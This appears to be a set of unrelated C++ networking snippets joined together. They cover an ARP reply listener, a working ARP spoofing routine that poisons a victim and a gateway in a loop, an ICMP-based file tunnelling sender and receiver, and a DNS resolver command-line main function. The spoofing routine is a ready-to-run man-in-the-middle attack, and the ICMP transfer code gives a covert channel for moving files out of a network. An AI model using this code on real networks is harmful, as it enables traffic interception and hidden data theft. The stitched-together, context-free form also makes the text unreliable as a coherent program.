void ArpListener::listenerThread() { if( arpFilter_.size() == 0 || device_.size() == 0 ) { MutexLocker lock( runningMutex_ ); running_ = false; return; } sniffer_.setFilter( arpFilter_ ); sniffer_.setInputDevice(device_); sniffer_.start(); while( true ) { Packet p = sniffer_.popPacket(); if( p.appSize() > 0 && p.appIs< Arp >() ) { Arp a = p.getApp<Arp>(); if( a.opcode() == arpopcode::response ) { MACAddress mac = MACAddress(a.senderMacAddress().vector()); IPv4Address ip = IPv4Address(a.senderIPAddress().vector()); cache_->addEntry( ip.toString(), mac ); sendAlert( ip.toString() ); } } MutexLocker lock2( stopMutex_ ); if( stop_ ) break; } }
bool doArpSpoofing(PcapLiveDevice* pDevice, const IPv4Address& gatewayAddr, const IPv4Address& victimAddr) { // Get the gateway MAC address MacAddress gatewayMacAddr = getMacAddress(gatewayAddr, pDevice); if (!gatewayMacAddr.isValid()) { printf("Failed to find gateway MAC address. Exiting...\n"); return false; } printf("Got gateway MAC address: %s\n", gatewayMacAddr.toString().c_str()); // Get the victim MAC address MacAddress victimMacAddr = getMacAddress(victimAddr, pDevice); if (!victimMacAddr.isValid()) { printf("Failed to find victim MAC address. Exiting...\n"); return false; } printf("Got victim MAC address: %s\n", victimMacAddr.toString().c_str()); MacAddress deviceMacAddress = pDevice->getMacAddress(); // Create ARP reply for the gateway Packet gwArpReply(500); EthLayer gwEthLayer(deviceMacAddress, gatewayMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP); ArpLayer gwArpLayer(ARP_REPLY, pDevice->getMacAddress(), gatewayMacAddr, victimAddr, gatewayAddr); gwArpReply.addLayer(&gwEthLayer); gwArpReply.addLayer(&gwArpLayer); gwArpReply.computeCalculateFields(); // Create ARP reply for the victim Packet victimArpReply(500); EthLayer victimEthLayer(deviceMacAddress, victimMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP); ArpLayer victimArpLayer(ARP_REPLY, pDevice->getMacAddress(), victimMacAddr, gatewayAddr, victimAddr); victimArpReply.addLayer(&victimEthLayer); victimArpReply.addLayer(&victimArpLayer); victimArpReply.computeCalculateFields(); // Send ARP replies to gateway and to victim every 5 seconds printf("Sending ARP replies to victim and to gateway every 5 seconds...\n\n"); while(true) { pDevice->sendPacket(&gwArpReply); printf("Sent ARP reply: %s [gateway] is at MAC address %s [me]\n", gatewayAddr.toString().c_str(), deviceMacAddress.toString().c_str()); pDevice->sendPacket(&victimArpReply); printf("Sent ARP reply: %s [victim] is at MAC address %s [me]\n\n", victimAddr.toString().c_str(), deviceMacAddress.toString().c_str()); PCAP_SLEEP(5); } return true; }
MacAddress getMacAddress(const IPv4Address& ipAddr, PcapLiveDevice* pDevice) { // Create an ARP packet and change its fields Packet arpRequest(500); MacAddress macSrc = pDevice->getMacAddress(); MacAddress macDst(0xff, 0xff, 0xff, 0xff, 0xff, 0xff); EthLayer ethLayer(macSrc, macDst, (uint16_t)PCPP_ETHERTYPE_ARP); ArpLayer arpLayer(ARP_REQUEST, pDevice->getMacAddress(), pDevice->getMacAddress(), pDevice->getIPv4Address(), ipAddr); arpRequest.addLayer(ðLayer); arpRequest.addLayer(&arpLayer); arpRequest.computeCalculateFields(); //setup arp reply filter ArpFilter arpFilter(ARP_REPLY); pDevice->setFilter(arpFilter); //send the arp request and wait for arp reply pDevice->sendPacket(&arpRequest); RawPacketVector capturedPackets; pDevice->startCapture(capturedPackets); PCAP_SLEEP(2); pDevice->stopCapture(); if (capturedPackets.size() < 1) { printf("No arp reply was captured. Couldn't retrieve MAC address for IP %s\n", ipAddr.toString().c_str()); return MacAddress(""); } //parse arp reply and extract the MAC address Packet arpReply(capturedPackets.front()); if (arpReply.isPacketOfType(ARP)) { return arpReply.getLayerOfType<ArpLayer>()->getSenderMacAddress(); } printf("No arp reply was captured. Couldn't retrieve MAC address for IP %s\n", ipAddr.toString().c_str()); return MacAddress(""); }
/** * Send a file to the pitcher */ void sendFile(std::string filePath, IPv4Address pitcherIP, IPv4Address catcherIP, size_t blockSize) { // identify the interface to listen and send packets to PcapLiveDevice* dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByIp(&catcherIP); if (dev == NULL) EXIT_WITH_ERROR("Cannot find network interface with IP '%s'", catcherIP.toString().c_str()); // try to open the interface (device) if (!dev->open()) EXIT_WITH_ERROR("Cannot open network interface"); // set an ICMP protocol filter so it'll capture only ICMP packets ProtoFilter protocolFilter(ICMP); if (!dev->setFilter(protocolFilter)) EXIT_WITH_ERROR("Can't set ICMP filter on device"); // try the open the file for reading std::ifstream file(filePath.c_str(), std::ios::in|std::ios::binary); if (file.is_open()) { // extract file size file.seekg(0, std::ios_base::end); uint32_t fileSize = file.tellg(); // go back to the beginning of the file file.seekg(0, std::ios::beg); // remove the path and keep just the file name. This is the name that will be delivered to the pitcher std::string fileName = getFileNameFromPath(filePath); printf("Waiting for pitcher to send a keep-alive signal...\n"); IcmpFileTransferStart icmpFTStart = { pitcherIP, catcherIP, fileName, 0 }; // first, establish a connection with the pitcher and send it the file name. This method waits for the pitcher to send an ICMP // request which indicates it's alive. The response to the request will contain the file name in the ICMP response data int res = dev->startCaptureBlockingMode(startFileTransfer, &icmpFTStart, -1); // if an error occurred if (!res) EXIT_WITH_ERROR("Cannot start capturing packets"); printf("Sending file '%s' ", fileName.c_str()); IcmpFileContentDataSend icmpFileContentData = { pitcherIP, catcherIP, &file, true, 0, blockSize, NULL }; // create the memory block that will contain the file data chunks that will be transferred to the pitcher icmpFileContentData.memblock = new char[blockSize]; // wait for ICMP requests coming from the pitcher and send file data chunks as a reply in the ICMP response data // this method returns when all file was transferred to the pitcher res = dev->startCaptureBlockingMode(sendContent, &icmpFileContentData, -1); // free the memory block data and close the file delete [] icmpFileContentData.memblock; file.close(); // if capture failed, exit the program if (!res) EXIT_WITH_ERROR("Cannot start capturing packets"); printf("\n\nFinished sending '%s' [sent %d bytes]\n", fileName.c_str(), fileSize); } else // if file couldn't be opened EXIT_WITH_ERROR("Cannot open file '%s'", filePath.c_str()); // close the device dev->close(); }
/** * Receive a file from the pitcher */ void receiveFile(IPv4Address pitcherIP, IPv4Address catcherIP) { // identify the interface to listen and send packets to PcapLiveDevice* dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByIp(&catcherIP); if (dev == NULL) EXIT_WITH_ERROR("Cannot find network interface with IP '%s'", catcherIP.toString().c_str()); // try to open the interface (device) if (!dev->open()) EXIT_WITH_ERROR("Cannot open network interface"); // set an ICMP protocol filter so it'll capture only ICMP packets ProtoFilter protocolFilter(ICMP); if (!dev->setFilter(protocolFilter)) EXIT_WITH_ERROR("Can't set ICMP filter on device"); printf("Waiting for pitcher to send a file...\n"); IcmpFileTransferStart icmpFTStart = { pitcherIP, catcherIP, "", 0 }; // wait until the pitcher sends an ICMP request with the file name in its data int res = dev->startCaptureBlockingMode(waitForFileTransferStart, &icmpFTStart, -1); if (!res) EXIT_WITH_ERROR("Cannot start capturing packets"); // create a new file with the name provided by the pitcher std::ofstream file(icmpFTStart.fileName.c_str(), std::ios::out|std::ios::binary); if (file.is_open()) { printf("Getting file from pitcher: '%s' ", icmpFTStart.fileName.c_str()); IcmpFileContentDataRecv icmpFileContentData = { pitcherIP, catcherIP, &file, icmpFTStart.fileName, (uint16_t)(icmpFTStart.icmpId+1), 0, 0 }; // get all file data from the pitcher. This method blocks until all file is received res = dev->startCaptureBlockingMode(getFileContent, &icmpFileContentData, -1); if (!res) { file.close(); EXIT_WITH_ERROR_AND_RUN_COMMAND("Cannot start capturing packets", std::remove(icmpFTStart.fileName.c_str())); } printf("\n\nFinished getting file '%s' [received %d bytes]\n", icmpFTStart.fileName.c_str(), icmpFileContentData.fileSize); } else EXIT_WITH_ERROR("Cannot create file"); // remove the filter and close the device (interface) dev->clearFilter(); dev->close(); }
/** * main method of the application */ int main(int argc, char* argv[]) { std::string hostname; bool hostnameProvided = false; std::string interfaceNameOrIP; bool interfaceNameOrIPProvided = false; IPv4Address dnsServerIP = IPv4Address::Zero; IPv4Address gatewayIP = IPv4Address::Zero; int timeoutSec = -1; int optionIndex = 0; char opt = 0; while((opt = getopt_long (argc, argv, "i:d:g:s:t:hl", DNSResolverOptions, &optionIndex)) != -1) { switch (opt) { case 0: { break; } case 'h': { printUsage(); exit(0); } case 'l': { listInterfaces(); exit(0); } case 'i': { interfaceNameOrIP = optarg; interfaceNameOrIPProvided = true; break; } case 'd': { dnsServerIP = IPv4Address(optarg); break; } case 'g': { gatewayIP = IPv4Address(optarg); break; } case 's': { hostname = optarg; hostnameProvided = true; break; } case 't': { timeoutSec = atoi(optarg); break; } default: { printUsage(); exit(1); } } } // make sure that hostname is provided if (!hostnameProvided) EXIT_WITH_ERROR("Hostname not provided"); // find the interface to send the DNS request from PcapLiveDevice* dev = NULL; // if interface name or IP was provided - find the device accordingly if (interfaceNameOrIPProvided) { IPv4Address interfaceIP(interfaceNameOrIP); if (interfaceIP.isValid()) { dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByIp(interfaceIP); if (dev == NULL) EXIT_WITH_ERROR("Couldn't find interface by provided IP"); } else { dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByName(interfaceNameOrIP); if (dev == NULL) EXIT_WITH_ERROR("Couldn't find interface by provided name"); } } // if interface name or IP was not provided - find a device that has a default gateway else { const std::vector<PcapLiveDevice*>& devList = PcapLiveDeviceList::getInstance().getPcapLiveDevicesList(); for (std::vector<PcapLiveDevice*>::const_iterator iter = devList.begin(); iter != devList.end(); iter++) { if ((*iter)->getDefaultGateway() != IPv4Address::Zero) { dev = *iter; break; } } if (dev == NULL) EXIT_WITH_ERROR("Couldn't find an interface with a default gateway"); } printf("Using interface '%s'\n", dev->getIPv4Address().toString().c_str()); // find the IPv4 address for provided hostname double responseTime = 0; uint32_t dnsTTL = 0; IPv4Address resultIP = NetworkUtils::getInstance().getIPv4Address(hostname, dev, responseTime, dnsTTL, timeoutSec, dnsServerIP, gatewayIP); // print resolved IPv4 address if found if (resultIP == IPv4Address::Zero) printf("\nCould not resolve hostname [%s]\n", hostname.c_str()); else printf("\nIP address of [%s] is: %s DNS-TTL=%d time=%dms\n", hostname.c_str(), resultIP.toString().c_str(), dnsTTL, (int)responseTime); }